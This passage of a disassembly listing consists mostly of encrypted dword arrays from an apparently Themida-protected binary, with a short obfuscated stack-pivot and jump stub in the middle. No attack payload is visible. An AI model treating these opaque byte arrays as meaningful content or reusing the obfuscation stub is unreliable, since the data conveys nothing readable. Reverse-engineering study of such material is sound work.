		dd 0C20AC2D5h, 0CE49011Ch, 0DDF1F70Bh, 6C9F3B1h, 1BBD1C36h
		dd 0A45049E5h, 6298F1Dh, 0C4591C36h, 8DA216DDh,	61900920h
		dd 4DE211DFh, 6829CCB8h, 0D73617FDh, 90895034h,	40h, 0C39B2E3Fh
		dd 0DF1D50Bh, 9BEF1503h, 0F5BF05h, 951FC513h, 911300F5h
		dd 0C333B50Fh, 0B9438B0Dh, 0A8E90CA7h, 0E9EF6C1Ch, 757B1E17h
		dd 0DE309428h, 0CC601300h, 1816CAD3h, 1E8E787Bh, 0BF00000Ah
		dd 3A19B2Eh, 1C3641B9h,	5AD52BADh, 0BE30B43Fh, 4946D00Eh
		dd 34BA150Dh, 8D0A2698h, 34A1BF41h, 0DEBB3BBDh,	3599061Ah
		dd 418958Bh, 1AD4589Bh,	0A15049E4h, 0CB58D71Fh,	0CCAAF2F8h
		dd 660709E9h, 557C4488h, 4156CE1Ch, 60922EB2h, 7200B3BDh
		dd 25AB9C53h, 617F2BCBh, 0BD21464h, 84765658h, 2AAEEFE8h
		dd 0BD4AA936h, 0E8D210EAh, 0DC1C3602h, 0A9834BAh, 150309F7h
		dd 3D0BDBFDh, 0A0F2D4DBh, 9971901h, 95C70000h, 78F56B30h
		dd 0ABC43C61h, 73EB6D2Eh, 0AAC33566h, 0D4A56E2Fh, 19A3F36h
		dd 0ACF1E47Fh, 9D3A34h,	0A2FBE478h, 0FAC0DEAEh,	0EE12FB31h
		dd 0A52BDEDDh, 0BC1C3641h, 79D31E9h, 150D48AEh,	12AC20C6h
		dd 641C811Eh, 9724CFC8h, 6A78540Ch, 0BC8352Fh, 0FBC323C5h
		dd 0E2E9ADAFh, 937573Fh, 0F5670000h, 1815CBD0h,	0CB641C81h
		dd 130BCDCEh, 0CA631586h, 0B4C5CECFh, 613A5FD6h, 8C11849Fh
		dd 603D5AD4h, 821B8498h, 0DAE0FECEh, 0CE12FB31h, 2B47FEBDh
		dd 5DD143AEh, 203BAD44h, 0C32DACC5h, 32A7BC30h,	9084D1BFh
		dd 7ED00D5h, 4FFE0746h,	3D86089h, 152F0000h, 8B6673EBh
		dd 4F5AED09h, 2B933797h, 1E72B013h, 0BD53A390h,	150D35ECh
		dd 6770E812h, 36EC088Ch, 8CA21CB0h, 0B943E70Fh,	995F3CA5h
		dd 31D51C85h, 0FD58D251h, 0E60E7089h, 0FA9E7658h, 623A8D12h
		dd 0D53126Ah, 0E1178A7Eh, 81A2CE4Fh, 0E410DEC2h, 0F66A9438h
		dd 6E860AE9h, 0C7AFA9E0h, 0BBB7490Bh, 0A551D31Eh, 3835C7EFh
		dd 14CE52A1h, 1C27AEAEh, 0FAEA04AAh, 0E9AE3A1Ah, 623620C3h
		dd 92000008h, 0E69A03A0h, 8B4D4E4Bh, 0CC940994h, 0A65A4354h
		dd 8A910A8Fh, 990019F1h, 0F2E77C04h, 9C3937A9h,	0FCE579FFh
		dd 0BFE5A99Fh, 12FB30F5h, 47DFE4F1h, 0D143AE2Bh, 10AD445Dh
		dd 0D73617FDh, 90894FFDh, 312h,	41A52B3Fh, 0E9BC1C36h
		dd 0B239D31h, 28B3638Eh, 7B6B6B88h, 2ACE26C8h, 0C717D74h
		dd 59757B15h, 0CDCECB67h, 678A170Bh, 0BD11C9DCh, 0C7646C27h
		dd 7E66880Bh, 0E9AE8564h, 0DED0BA39h, 0E000007h, 6216872Ch
		dd 17C9D2CFh, 58207D18h, 12C6D7C0h, 161D7E1Bh, 0D8CA565h
		dd 4653C890h, 108DA355h, 4059D58Bh, 8B19755Bh, 12FB2F41h
		dd 4723A835h, 0ACF802Bh, 0E737721Eh, 0FA76EA09h, 0AA9F25BBh
		dd 159B1C35h, 0AC7918DBh, 946E9FB8h, 7FF98950h,	0DA000002h
		dd 3641A52Bh, 31E9BC1Ch, 48F3079Dh, 0DD03150Dh,	4653CFF1h
		dd 228FA355h, 0DE62910Eh, 4356E110h, 369D438Bh,	3C0BC851h
		dd 0C92DAAC2h, 2751951Bh, 76E9ADBBh, 74F03EBh, 0DD7F0000h
		dd 40DDA3F8h, 0A3BC4459h, 7BF36536h, 0A2BB3D5Eh, 0DCAD6637h
		dd 0F9A2372Eh, 0B4E9EC87h, 0F8A5322Ch, 0AAF3EC80h, 0B218C606h
		dd 0A612FB2Fh, 2B47D6F5h, 5DD143AEh, 0CE3FAD44h, 821F13E6h
		dd 0F9D43919h, 2393894Fh, 0EF000000h, 0AB4653CDh, 3CB72239h
		dd 55C836B8h, 0D109A84Ch, 1E6h,	4B6803FDh, 36412F95h, 6B852B1Ch
		dd 9F2BE48Bh, 0A11C3641h, 8AA7021Fh, 8E60E40Fh,	411AA03Eh
		dd 880E1C36h, 16CED96Ch, 490D28B6h, 0EDF3150Dh,	5643DFE1h
		dd 29F9345h, 795164EFh,	51448F55h, 7E4A0BC8h, 282D5A60h
		dd 0AC484E1Ch, 0C2F4F0F6h, 0DBE9ADBAh, 6976E58h, 95C70000h
		dd 78F56B30h, 0ABC43C61h, 73EB6D2Eh, 0AAC33566h, 0D4A56E2Fh
		dd 19A3F36h, 0ACF1E47Fh, 9D3A34h, 0A2FBE478h, 0FAC0DEAEh
		dd 0EE12FB2Eh, 2B47DEDDh, 0C231A6BEh, 641CB03Eh, 94FD15BAh
		dd 6EF50156h, 7A7966FAh, 0E0AB990Ah, 817B534Ch,	39A9C7ECh
		dd 9BDC2AD4h, 0D9166D55h, 0F9A28471h, 942620FDh, 58F8FC9Dh
		dd 895035F5h, 1372h, 0EB152100h, 7896875h, 7C7762F9h, 0B0CFCF8h
		dd 3D000001h, 36419E2Bh, 36EEB91Ch, 0A5E5E696h,	0F90F8C14h
		dd 7D9351FDh, 71150CB9h, 4C18E341h, 0EEFDC5D2h,	45896723h
		dd 613AA7BBh, 0B616839Fh, 563A2306h, 0A42B70F0h, 0C5B50DC8h
		dd 2BB24291h, 913D15A0h, 0C78B8853h, 8A5A7C0Bh,	0E9AE7582h
		dd 0C2EED85Bh, 0F2000005h, 0C63A6340h, 0EB6D2EABh, 0AC346974h
		dd 67A23B4h, 6A316A6Fh,	0F9E07911h, 5247DCA4h, 0FC999749h
		dd 5C45D99Fh, 9F45893Fh, 12FB2D15h, 473F8411h, 0D143AE2Bh
		dd 367C225Dh, 6E1C3641h, 8E12E1F6h, 0B53CB234h,	1BEED647h
		dd 51019A07h, 894FF9FCh, 116Bh,	8CA51700h, 154AE90Dh, 8C6875EBh
		dd 519Ch, 2B47ED00h, 0BB36A3BEh, 654F9539h, 611C3641h
		dd 651DB13Fh, 96BC0E7Dh, 78F7FFFEh, 974D6804h, 1C35EC2Dh
		dd 8A698729h, 737E1B16h, 0ECAB11CFh, 0F99F1C35h, 886B6E07h
		dd 15D0C421h, 0A56E4EF8h, 2A21E4B8h, 371D7282h,	0EEAF2844h
		dd 2CF4h, 0EB155500h, 9DCE3B74h, 0CC877B15h, 0C458D222h
		dd 458818DBh, 341C356Ah, 0F2EF807Ah, 2C797DFFh,	0C8D14D38h
		dd 7865FA04h, 2AFFF779h, 0AE2B4789h, 0F9DF9F43h, 8B4134ECh
		dd 3F5AC694h, 19D1C883h, 0A77F4ADDh, 36AF7927h,	255D150Dh
		dd 66C9FE6Eh, 812FC784h, 0D64D6F5Fh, 37B903A1h,	2BAD12FBh
		dd 4AAA2EC5h, 97001C9Eh, 0E4602006h, 68F20BF1h,	2B914F7Fh
		dd 1F12FAD7h, 6F037D79h, 0CC605A72h, 249C20D3h,	0F34C3729h
		dd 0ED74806Bh, 4F7F5762h, 0D1653491h, 9088320Bh, 9F41EF07h
		dd 8918D2Fh, 0FBD5FCC4h, 5747E610h, 0F10E926Bh,	8C688717h
		dd 1BC7F7AFh, 0B5D762A0h, 16D8C158h, 0E7F06CDEh, 5C347F0Ch
		dd 0DFBF3270h, 0B3351502h, 0D5092F33h, 1B03AEF2h, 435h
		dd 0C9D2F765h, 1E7F1A17h, 0C3D8C55Ah, 0E7B4253Dh, 0BCE1F871h
		dd 69008AFFh, 0BEB52B70h, 60FE821Bh, 0BAB62A73h, 4C8801Dh
		dd 0FB2CD4DEh, 0C3D012h, 0A7BE2B47h, 0B33DBF32h, 0DDFA76EAh
		dd 118EA216h, 0E6F36EE2h, 2C85990Bh, 0C84CA730h, 0C159CB26h
		dd 0ED9719D8h, 0ACC1B4A0h, 0B43ABE35h, 3217FD4Eh, 0EA099688h
		dd 1C8E66h, 0E9240697h,	7E894FF9h, 73h,	545E8448h, 8C1C364Dh
		dd 2EC00297h, 0C94BA633h, 1530CF27h, 41A12BB9h,	13951C36h
		dd 8D4550E3h, 13A0BF41h, 3641E7CDh, 33BDE31Ch, 497317C3h
		dd 8026CDD4h, 36415862h, 0A44A4C1Ch, 0DFAC250h,	0ECF21503h
		dd 5340DEE0h, 0F5527A4Ah, 0EA861300h, 3628B0EDh, 576925A9h
		dd 0B236BDD8h, 0F58A30h, 3AA7BA13h, 198F35B7h, 9F579900h
		dd 34F3620h, 2E970000h,	0D50BC39Bh, 15036C8Eh, 1B8D648Ah
		dd 8E547807h, 13011324h, 5E647E20h, 64130113h, 113743Eh
		dd 546E7013h, 0E3559C52h, 2FA1504Dh, 614FA237h,	0A86500F4h
		dd 10A34F35h, 0F66A9438h, 43610DE9h, 0BCE3E18h,	0F6D1CACCh
		dd 9BE3EBA3h
		dd 8D4C7519h, 5D7AF6B9h, 18DC1296h, 0D3232E74h,	0BFE11502h
		dd 30A9C034h, 9282D3C1h, 86130BB5h, 0BFE5E96Bh,	13008AF5h
		dd 7C07EFF1h, 3EE8129h,	2866D68h, 14CA02ECh, 0BCDB54Dh
		dd 1EBBB54Bh, 1915CBD0h, 63FF7180h, 0F9A2576h, 6697757h
		dd 0FA1502CBh, 4EE6D8F4h, 0CE26AA49h, 82FFC14Fh, 65C01300h
		dd 0BD2F5E7Fh, 0C13B9285h, 3CC033AEh, 4D11B8h, 2EC20000h
		dd 0B30BC39Bh, 828B2048h, 0A59FC129h, 4E07C000h, 26BC6094h
		dd 1502E1F7h, 8818DBFDh, 1300A146h, 16DDFA76h, 0F10F8CA2h
		dd 1E926178h, 0DA5E9502h, 25C0B431h, 0A9DAA26Ch, 0E88BF8C1h
		dd 0B59FF400h, 85313994h, 0A12E92h, 475D0000h, 0D143AE2Bh
		dd 358D4158h, 171620C3h, 0FD8470CAh, 0E70A978Bh, 0BBE0F975h
		dd 35F87E29h, 35A2BE1Ch, 637CF068h, 0D8B00390h,	24AFAEF4h
		dd 43651503h, 623A8D5Ah, 9003346Ah, 0EFF10BCCh,	2744DDDFh
		dd 9CD290ABh, 0D2CB25ABh, 0C8F2B0DCh, 0BC1C33CAh, 0C960DA1Ah
		dd 1E0414D0h, 5AD9E9A2h, 1DC70h, 892E0C00h, 0C8D14C14h
		dd 87120DD3h, 0CDCA6216h, 881108D0h, 97730813h,	0DEA2FB9Eh
		dd 954B5045h, 0DB9DFE9Bh, 8F415A47h, 291BA13Fh,	7E0F12FBh
		dd 0AB2E473Dh, 0E5F26EF2h, 71EC0EB8h, 2EE58C68h, 415CD39Bh
		dd 0B5223EB2h, 0BA34BA3Eh, 2D44B612h, 6BBA48ACh, 91150372h
		dd 7254E40Fh, 33130111h, 0FB05C2B2h, 0F6487865h, 419249F5h
		dd 0DA33DB1Bh, 8D92851Ah, 0DCh,	0AE2B473Eh, 8E346A1Eh
		dd 8A1C3641h, 903A6864h, 841C3641h, 670B9262h, 89625217h
		dd 8373A9FAh, 6A891009h, 3588CBDAh, 6D8F3B1Ch, 880CE7F2h
		dd 3587705Ah, 0B242641Ch, 0E2BB2438h, 5E95021Eh, 21EC6D1h
		dd 0E10F8AA5h, 0F10BBF0Fh, 809D637Eh, 9E56DA19h, 2B45510h
		dd 0F8A54B15h, 48845C67h, 0C9E47A84h, 5BA5F25Ah, 0CF22CC05h
		dd 16D8C15Dh, 68AE50DEh, 922C0BCCh, 84150D9Ah, 0F105EB6Dh
		dd 8F319D43h, 46F20297h, 7F1CBDB4h, 495760F9h, 1C340683h
		dd 677F7177h, 0E9A1DDFFh, 0C22B139Eh, 0F2000000h, 0C63A6340h
		dd 0EB6D2EABh, 0AC346974h, 67A23B4h, 6A316A6Fh,	0F9E07911h
		dd 5247DCA4h, 0FC999749h, 5C45D99Fh, 9F45893Fh,	12FB2815h
		dd 473F8411h, 6EF2AB2Eh, 13B8E5F2h, 43AE2B47h, 57445DD1h
		dd 69653D88h, 0D49153Bh, 0CE70915h, 49571666h, 77E7EA82h
		dd 88110D7Fh, 38A5BA44h, 519DFBCh, 958E309Ch, 0DF6DF400h
		dd 0D006214h, 4B5935D9h, 19045D81h, 29935175h, 1D19045Dh
		dd 3481757Bh, 0FEB9B540h, 45DDAE0h, 26C8CE19h, 7A1F14A6h
		dd 2C01F577h, 302FB8B4h, 24CA4EA5h, 0B4C35BCDh,	45DC4EEh
		dd 0D01EC019h, 0F2E23321h, 2D6E6B07h, 0C72AB7ABh, 8DFh
		dd 0EB153000h, 248E6673h, 0B015475Dh, 4653CF41h, 0BA2739ABh
		dd 2BAEC537h, 0BCDD54C8h, 2FAAC335h, 0BFD850C4h, 32AFC034h
		dd 0C9D04DBFh, 89505D2Ah, 405E0h, 0E8830000h, 74FF5004h
		dd 8F580424h, 685C2404h, 0DC3h,	52241C89h, 0C281E289h
		dd 4, 8704EA83h, 895C2414h, 6EBB240Ch, 51100A48h, 3D6E4FB9h
		dd 15C98116h, 81783870h, 6E41FCE9h, 59CB2977h, 4EC81h
		dd 24890000h, 24048124h, 4, 0B9515359h,	1B0F27ECh, 4244C31h
		dd 8418F59h, 0EC087181h, 0FF1B0F27h, 83592434h,	34FF04C4h
		dd 0C4835B24h, 6416E904h, 4F02FFFAh, 0A796A1B6h, 82AF4B68h
		dd 3CB8BED5h, 3093B1Ah,	59E0FFC5h, 0C11582C7h, 8B722665h
		dd 9E0C2057h, 6E0BB064h, 0B634133Dh, 0B2713C75h, 83770329h
		dd 926E998Ch, 9B7E8370h, 0E81C0D34h, 0CE6A04C2h, 431AAA3Fh
		dd 0B6569BA0h, 0BD5FD594h, 915DAC26h, 75208EC1h, 761D5539h
		dd 6074F50Eh, 0BF0A70BBh, 882EEFE6h, 3F35CE9Eh,	126864EEh
		dd 90635984h, 0CD69C7BFh, 617DFD24h, 5A5DA9E1h,	0B66D63E6h
		dd 0C6416DB1h, 0C62555Dh, 0EB56B9C7h, 0FEF16704h, 4C6E92Ah
		dd 4DEF0000h, 0B0AD3368h, 73EC7429h, 0ABC33566h, 72EB6D2Eh
		dd 0C7D3667h, 0A9F2E77Eh, 4993C37h, 0A8F5E27Ch,	0FAA33C30h
		dd 62687656h, 5612FB26h, 2B478645h, 0BC32A7BEh,	3FAAC335h
		dd 8C3EB520h, 0B82918DEh, 35BB3533h, 637CF068h,	5ED0EA90h
		dd 0C62EB241h, 34BFD854h, 0E6F36C8Eh, 0F36D890Bh, 2990637Eh
		dd 213DC8BCh, 31DE3B8h,	0DD530596h, 0A4BF31C0h,	81D2C231h
		dd 6976E893h, 0D5C05B65h, 26624C21h, 35D65278h,	0BDB0461Ch
		dd 0B02ACA24h, 0E753F5BCh, 4B62DE86h, 0F7BE4EA5h, 0FE1C3641h
		dd 94405EFh, 5E894FFAh,	56h, 0AE2B472Dh, 18819C1Eh, 0FFC755DCh
		dd 81C3641h, 0FF4E0FF5h, 68894FF9h, 1, 8D2A4727h, 0B99CC35h
		dd 0D60CA6A7h, 1C3545ECh, 61900924h, 2DC3E5DFh,	0C2DF52C6h
		dd 12A5BD2Fh, 3545E6CCh, 32BCE21Ch, 190B5ABFh, 0B5E6F36Eh
		dd 0E9B22F43h, 36A3BB45h, 2E471FBEh, 59D448ABh,	0D243B140h
		dd 7B1E17E2h, 63697753h, 571C3641h, 10C8A551h, 0E9B931Ch
		dd 846F8116h, 9103EE00h, 831E139Eh, 0EF02EC70h,	0ACAD970Eh
		dd 894FFF71h, 6F16h, 2E477500h,	5BD448ABh, 2BC5D24Eh, 100461C8h
		dd 43DDCC65h, 7D039856h, 8AFEF5E4h, 37C90592h, 0CF649A3Fh
		dd 0C2A32ACAh, 78547163h, 3641606Ah, 0A252541Ch, 4FFFE3FAh
		dd 0BDE3A789h, 1C364BF7h, 6209EDF3h, 4Eh, 0AB2E4731h, 4D5AD448h
		dd 3E5BD4D5h, 31BF41B0h, 0EBD92AC2h, 49620920h,	0C4EEB4EDh
		dd 0C01C358Ch, 0EA93A21Eh, 1AB9E20Ch, 44AF2A47h, 75001C9Eh
		dd 3641852Fh, 915F811Ch, 8816DE62h, 1C364145h, 12CBB94Ch
		dd 894FF9BBh, 1ACh, 0EB15DB00h,	0DEFB7570h, 945F9113h
		dd 0F56AE410h, 0EEC1BFBAh, 35B40AB0h, 0E8D8FE1Ch, 0C927C9C6h
		dd 1DBAB62Ah, 86130FB1h, 0E37DEF6Eh, 9489FBF6h,	0B451E60Dh
		dd 0EE5F25C0h, 0E1FC7306h, 1B58D3EDh, 35AC3F85h, 3BB53B1Ch
		dd 0EBC034B8h, 3D91495Ch, 9B33AEC3h, 35ACBF05h,	0C135BB1Ch
		dd 0D34F711Dh, 25A92BC6h, 35AC357Fh, 47AF311Ch,	2CF2EB9h
		dd 4AE2DC15h, 0F5FBA94Dh, 9968AFEh, 4750CC94h, 7BF406ACh
		dd 0EF11935Eh, 0D8F6277h, 8E735BE9h, 0A2831300h, 2EABC7B2h
		dd 6A77EB6Dh, 80191587h, 7663FF71h, 8C15097Bh, 3E267765h
		dd 685CC93Bh, 8318819Dh, 0A53C31CBh, 0AC5CB151h, 0EC0E9285h
		dd 0E78E6673h, 0EFh, 0C39B2EA8h, 5F4ED50Bh, 2AD41503h
		dd 964CA835h, 0F36FE110h, 2F43B5E6h, 51CD3FB2h,	766F2B1Ah
		dd 0B6538D08h, 0A8B70B09h, 24CF217Eh, 587D67B4h, 25CCC966h
		dd 45D953A3h, 428B3F5Ch, 259285CBh, 3Eh, 0C7872E66h, 4223D907h
		dd 1FA11C36h, 0AF659104h, 903ACA29h, 9F1C3641h,	0E7CE9282h
		dd 41D5DF05h, 0CFD11C36h, 0FDF7AD21h, 31C3641h,	918A67F9h
		dd 8507EA04h, 801DC371h, 6E82h,	9B2EC300h, 72D50BC3h, 66150369h
		dd 233FB140h, 0BF41E5B6h, 3BBD34A1h, 0C231A8C5h, 2844B63Eh
		dd 0CA5F1FAFh, 5A421B2h, 0DEDA55CBh
dword_5A0468	dd 678ACAE2h, 0D323CDC8h, 7FCBBC4Ch, 0E4411300h, 706905F0h
					; DATA XREF: Themida_:005469DDo
		dd 51099C2Bh, 7671517Dh, 0AAE9964h, 50A3362Fh, 3CD222CCh
		dd 0BD813BBh, 0C83CB739h, 0B8A84B54h, 2275796Bh, 0BB3C626Ah
		dd 3914FEFAh, 1545E6B7h, 8C6772EBh, 4E59EC08h, 68923696h
		dd 8709E8F1h, 5920E16Fh, 1294150Dh, 0E8F16DDFh,	0A8312DB3h
		dd 19869A24h, 1F9E56DAh, 0B8773391h, 24967036h,	166B8B0Ch
		dd 0DAC75B2Eh, 78F30DC1h, 0B27995Dh, 79F1638Eh,	0DBA39160h
		dd 772D4AE1h, 0F137774Dh, 0AD49A749h, 23676C58h, 3777377Dh
		dd 558B33F1h, 0F137776Fh, 4BAB456Bh, 57445DD1h,	0A52B0F6Fh
		dd 6638F962h, 0A7001C8Eh, 0EE50B8Eh, 824h, 7F4F6500h, 0FEF6E37Dh
		dd 0B015475Fh, 4653CF41h, 0BA2739ABh, 2BAEC537h, 0BCDD54C8h
		dd 2FAAC335h, 0BFD850C4h, 32AFC034h, 0C9D04DBFh, 89575D2Ah
		dd 4C781E7h, 53000000h,	4BBh, 5BDF2900h, 5C243C87h, 7F2768h
		dd 24348900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68241C89h
		dd 5217h, 0BD242C89h, 75FE7303h, 0C581D5F7h, 7F398E5Ch
		dd 545DEE89h, 81241C8Bh, 4C4h, 49756800h, 34890000h, 8438F24h
		dd 56241C8Bh, 0C681E689h, 4, 4C681h, 34870000h,	348B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5464A4
; ---------------------------------------------------------------------------
		dw 10C3h
		dd 31F88585h, 3B1F8CB8h, 0FFC50309h, 0CC9748E0h, 0E6A1B062h
		dd 94571E54h, 1D04D758h, 0FC91CF73h, 33A5E330h,	1681833Bh
		dd 7C2FCD12h, 2522A248h, 35F02F64h, 64640276h, 0D7788759h
		dd 76EE8003h, 0A96BD222h, 0CADEB107h, 343C904Bh, 77B924Dh
		dd 17DE92Dh, 5D600000h,	16C4FFEh, 0D1D76FC2h, 41EFB4CAh
		dd 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h,	0E495BCD7h
		dd 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h
		dd 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h
		dd 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch
		dd 0ACE5h, 1, 42h dup(0)
		dd 0F8000000h, 0A43736D1h, 72D3C20Dh, 0E95F4C47h, 104Dh
		dd 3B23DE68h, 23AAE909h, 0BA68FFFBh, 0E9093B24h, 0FFFB23A0h
		dd 3B263568h, 2396E909h, 0F768FFFBh, 0E9093B26h, 0FFFB238Ch
		dd 3B286368h, 2382E909h, 4F68FFFBh, 0E9093B29h,	0FFFB2378h
		dd 3B2A0868h, 236EE909h, 9968FFFBh, 0E9093B2Ah,	0FFFB2364h
		dd 3B2BB968h, 235AE909h, 3868FFFBh, 0E9093B2Ch,	0FFFB2350h
		dd 3B2CFE68h, 2346E909h, 0A368FFFBh, 0E9093B2Dh, 0FFFB233Ch
		dd 3B2E3568h, 2332E909h, 8268FFFBh, 0E9093B2Fh,	0FFFB2328h
		dd 3B308968h, 231EE909h, 8B46FFFBh, 2DA5E2CBh, 0B61B6C31h
		dd 2BA4E3C8h, 0CE05022Bh, 46F18B90h, 7AA3DBF2h,	815418Dh
		dd 84A9D1F7h, 0C115183h, 6C76DF08h, 0EFCF88A2h,	1ACE129Ch
		dd 9440435Ah, 2FF8C7D4h, 875E029h, 4BCF82A7h, 0CD53C2DDh
		dd 95CF82A6h, 0CC73EB2Ah, 15F9B1D1h, 46h, 87F7DBECh, 0AD45FC88h
		dd 0EA1F1D0Eh, 0BA89F5DDh, 0B15146CFh, 0B464CF82h, 82FCB0D9h
		dd 193BBA86h, 0C31DA8D1h, 98CF82C0h, 0CE54B180h, 94CF82C0h
		dd 0CD72EA29h, 14F9B1B3h, 10Ah,	0F33E43E9h, 73E1F584h
		dd 1ACE26C0h, 0AE1A2D5Ah, 7E35CFCEh, 6CE9E009h,	0C64D807Ah
		dd 3626AED9h, 2C5BCD57h, 70FBB6A6h, 0F9EE2159h,	7370AFCFh
		dd 75548041h, 4D811610h, 45D345C6h, 0A74BCAD3h,	6EC64D85h
		dd 0FC0DFA7Ah, 4D848799h, 295CCCC6h, 46E2BDA1h,	0EFD9266Bh
		dd 4493908Fh, 33463344h, 4D8450D2h, 1E1503C6h, 82AF029Fh
		dd 0B2C751CFh, 25B00FC5h, 0CF82AEBBh, 0FF1E88A0h, 3FD03769h
		dd 0BB6D6889h, 0B468A108h, 0FC4AEA3h, 26B4504Fh, 0C37E90A6h
		dd 0E0292FF8h, 0BAF09F75h, 0FA28B4D8h, 3E389542h, 6517C55Fh
		dd 4237E10Eh, 0BBE09E35h, 6915B9CEh, 78E6ED5Ah,	63BA7394h
		dd 0FFE3B675h, 0D9Eh, 909DDDF0h, 0FA235B6Fh, 919AC40Dh
		dd 101D5976h, 79A2D8EFh, 0C9005403h, 537B8C91h,	0C70DFA23h
		dd 4F798697h, 0E10EFE2Fh, 88A38264h, 10AAD1CFh,	465707CEh
		dd 5DC74E3Bh, 0FEC64D80h, 0B82C172Ah, 5EC8B617h, 1D0EA54Dh
		dd 0EE6BEA1Fh, 5CF82B0h, 8795FC13h, 0DBCF82B0h,	5F582574h
		dd 0C2D4EF6Fh, 0F9B1C31Dh, 0BBC4h, 1ACE0A00h, 8940435Ah
		dd 9B57BED1h, 5AC64D85h, 73F90E6Eh, 0CB01DCFCh,	7957C993h
		dd 0C6C1A89Bh, 4A3B5212h, 0B4EB8B3Dh, 0C5166150h, 9EA7948Bh
		dd 0FB0A612Ah, 9FEA8D6h, 0F8C10700h, 43FEA8D0h,	833119C6h
		dd 0E2EBDCCFh, 414BD74h, 0B9BF2817h, 0DDFE45D0h, 8B9DD8BAh
		dd 1C42897Eh, 2D9F00Fh,	4F9DA183h, 0B066B2C6h, 63B72DCCh
		dd 0C5A17C75h, 0CC2h, 0F4B9B914h, 6E3F3F93h, 0D5C6B811h
		dd 743925AAh, 0EDBEBC13h, 0BD146807h, 3F8FF0BDh, 0BB116E3Fh
		dd 3BADDAC3h, 3522723Bh, 88A456D0h, 0FC7605CFh,	6816B7D0h
		dd 53E0D335h, 0D22DFE7Ch, 845EE7E6h, 0D7C64D80h, 2CC6D741h
		dd 435A1ACEh, 0A3D49440h, 603F3F94h, 641AB1C4h,	7DE4DF29h
		dd 265359C2h, 829C5A9Fh, 20FF29CFh, 829C6B71h, 988F7CFh
		dd 0B1EF2ED5h, 5AB7F9h,	0E3F0000h, 6BEA1F1Dh, 0CF82A442h
		dd 63BD4831h, 96CF82A3h, 7CAC3D39h, 626B1CC5h, 198F19F4h
		dd 0DF590306h, 0FBD7B71Fh, 27B5142Fh, 3BCF82A3h, 621145D4h
		dd 73F9B1D4h, 20h, 1F1D0EFBh, 81F66BEAh, 0CB5DCF82h, 81BF1DD4h
		dd 3CA3CF82h, 0F2FAA9DDh, 7EBF9B1h, 73000000h, 8D22Dh
		dd 1D0ECD00h, 0EADFEA1Fh, 4D80796Bh, 734EDAC6h,	88A26996h
		dd 0E940ACCFh, 7081DB68h, 47D93C4Dh, 0CCF88A2h,	8A7D8A1Ch
		dd 43E91E5Eh, 9D33212Ah, 1F60FDDh, 0F44E7A60h, 7BD10102h
		dd 32A6E1C8h, 1D2A5B32h, 2CAC5B1h, 5FEE8B52h, 96E33568h
		dd 8932B52Fh, 0BF72A6CFh, 0D42523F4h, 0C452DB71h, 7CE4F8D8h
		dd 0CC86F072h, 8E7B8C1Ah, 182B5379h, 0F4B9B92Bh, 0BF21A495h
		dd 94C64DD4h, 215D7184h, 9CA79AEEh, 52554828h, 0F768389h
		dd 0CF82E06Eh, 0BEBE2A1Dh, 3E4EDA03h, 7C54F5C9h, 4721C5D8h
		dd 9900000Bh, 24634836h, 827DAEAEh, 0F7081549h,	8483A8D6h
		dd 54200D4Dh, 0F06E65B9h, 82F2DC2Bh, 0F6666E99h, 8EEEDA25h
		dd 3826F9Dh, 0CF88A721h, 5CB14932h, 0C64D81C6h,	8B7C7C6Bh
		dd 88A2E50Ah, 131810CFh, 94E5E334h, 5E3131A3h, 887520CAh
		dd 0D409828Fh, 0C4F154DDh, 1FD8C49Bh, 0DD070009h, 8671909Dh
		dd 0AAFE114Dh, 5AEEF85Dh, 0BB6DC64Eh, 88497B08h, 6011C5Ch
		dd 900690CCh, 5B61CA7Dh, 7AB1A72Eh, 56C2CF89h, 86A21621h
		dd 6427E501h, 4754C222h, 0B1EC8C38h, 88B2E044h,	8686554Fh
		dd 23FD8871h, 384F88B3h, 5168D1E0h, 0B0EF6F66h,	0F605D54h
		dd 5E58BDB9h, 9E43C2CAh, 3346F56Fh, 0A858Fh, 86F4D700h
		dd 0FC606A95h, 83FBD02Fh, 0F6606D9Ah, 8BF3DA25h, 0E73BDAA2h
		dd 56B17AE0h, 0D02FFC78h, 6C9B80F8h, 0E133F878h, 0A6938DF8h
		dd 0B3C8CF88h, 1F1D0E3Bh, 0A64DDFEAh, 0F4E2F8F9h, 793693AEh
		dd 0DCCF88E5h, 984C3B4Ch, 0E44ADC39h, 8009CF88h, 88E50B15h
		dd 4ED850CFh, 3CEA9037h, 9E27126Fh, 0CF88E444h,	0A25B0117h
		dd 76D8F077h, 5A8EF9C8h, 0D740031Ah, 0B91A8D1h,	4DE3774Fh
		dd 43C271CCh, 0D8C3FEBAh, 0A19123C9h, 8C801671h, 173FED1Ah
		dd 51E1A36Eh, 37A92C5Dh, 1CC64E53h, 3B4C350Ch, 0B888AD89h
		dd 0BB070956h, 953F406Dh, 0C0DF9F34h, 17C5B264h, 0EE991Ch
		dd 0AA9D944Dh, 0D92E2EFDh, 88FF067Ch, 0AEDB4DCFh, 3222AC9Bh
		dd 0A0C0F47Fh, 18588C7Bh, 0FE929005h, 389FCF88h, 45324730h
		dd 3BB29189h, 0C007C874h, 477B8456h, 0F7212BB1h, 0FEF4BD3Ch
		dd 9187D8C3h, 47A4F68h,	0B9C47F09h, 5ABB1ACEh, 0C64DFEC8h
		dd 0A6D6FC8Bh, 1D8B1D67h, 0A5C5EF10h, 6E6EBD6Ah, 0B2173019h
		dd 77FBD1CCh, 2458DB56h, 0B4112076h, 0CF88C407h, 0B71E2B5Eh
		dd 0CF88832Dh, 8799FA2Eh, 0CCCF8883h, 92D3CA5Ch, 0F02F2FA5h
		dd 839690F5h, 53C5CF88h, 5AC1EEC5h, 83D052B3h, 9583CF88h
		dd 8E8FF603h, 9DD8BDA2h, 0B718838Bh, 0EE11756Fh, 91958h
		dd 0F2606B00h, 88F4DE29h, 0EF6F64A3h, 520CC1BEh, 0E7973E49h
		dd 3B8F3EB6h, 0CAB5E694h, 34535804h, 0B0CFDC9Ch, 55376404h
